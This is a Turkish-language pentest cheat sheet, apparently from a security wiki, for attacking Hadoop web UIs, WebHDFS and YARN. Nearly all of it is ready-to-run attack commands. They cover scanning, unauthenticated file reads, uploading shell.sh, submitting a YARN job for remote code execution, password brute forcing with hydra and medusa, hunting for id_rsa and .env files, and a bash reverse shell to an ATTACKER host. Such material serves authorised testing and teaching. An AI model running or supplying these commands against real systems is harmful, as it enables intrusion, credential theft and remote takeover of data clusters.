50030,50060,50070,50075,50090 - Pentesting Hadoop
Hadoop bigdata
Hadoop web UI ve HDFS API sıkça auth’suz kalır. Dosya okuma/yazma ve job submit RCE’ye gider. Hedef lab IP’si üzerinde komutları 50030 portuna göre uyarla; her başarıyı ayrı kanıtla.
Metodoloji
Section titled “Metodoloji”-
50070/8088 portlarını bul.
-
HDFS browse unauth.
-
Dosya oku/yaz.
-
YARN job ile komut.
nmap -Pn -sV -p50030,50060,50070,50075,50090,8088 TARGETcurl -s http://TARGET:50070/curl -s http://TARGET:8088/ws/v1/cluster/infocurl -s 'http://TARGET:50070/webhdfs/v1/?op=LISTSTATUS'curl -s 'http://TARGET:50070/webhdfs/v1/etc/passwd?op=OPEN' -Lhdfs dfs -ls hdfs://TARGET:8020/curl -s -X PUT 'http://TARGET:50070/webhdfs/v1/tmp/x?op=CREATE' --data-binary @shell.shcurl -s http://TARGET:8088/ws/v1/cluster/apps -H 'Content-Type: application/json' -d @job.jsonDerin enum
Section titled “Derin enum”,50060,50070,50075,50090 - Hadoop için ek keşif ve fingerprint.
nmap -Pn -sV -sC -p50030,50060,50070,50075,50090 TARGETnmap -Pn -p50030 --script safe,discovery TARGETtimeout 5 bash -c 'echo | openssl s_client -connect TARGET:50030' 2>/dev/null | headpython3 -c "import socket;s=socket.create_connection(('TARGET',50030));s.settimeout(3);print(s.recv(4096))"Banner / TLS / ALPN notları → ,50060,50070,50075,50090 - HadoopKimlik & brute (ek)
Section titled “Kimlik & brute (ek)”hydra -L users.txt -P rockyou.txt -s 50030 PROTOCOL://TARGET -t 4medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 50030nmap -p50030 --script '*-brute' TARGETadmin/admin, root/root, guest/(boş), test/testExploit arama
Section titled “Exploit arama”searchsploit Hadoopmsfconsole -q -x 'search Hadoop; exit'nuclei -u https://TARGET:50030 -t cves/ -silent -severity || truenuclei -u http://TARGET:50030 -tags tech -silent || trueManuel protokol
Section titled “Manuel protokol”nc -nv TARGET 50030printf '' | timeout 3 nc -nv TARGET 50030curl -vk --http1.0 http://TARGET:50030/Wireshark/tcpdump ile konuşmayı kaydet; replay denePost-erişim & loot
Section titled “Post-erişim & loot”config, key, session, env, backupfind / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | headss -lntp; ip a; cat /etc/passwd | headbash -i >& /dev/tcp/ATTACKER/443 0>&1mkdir -p loot && tee loot/notes.txtOperasyon checklist
Section titled “Operasyon checklist”[ ] Fingerprint / sürüm[ ] Auth ve anonim erişim[ ] PoC etki gösterildi[ ] Credential/shell paketlendi[ ] Pivot notuZincir
Section titled “Zincir”unauth NameNode → WebHDFS read/write → YARN job RCE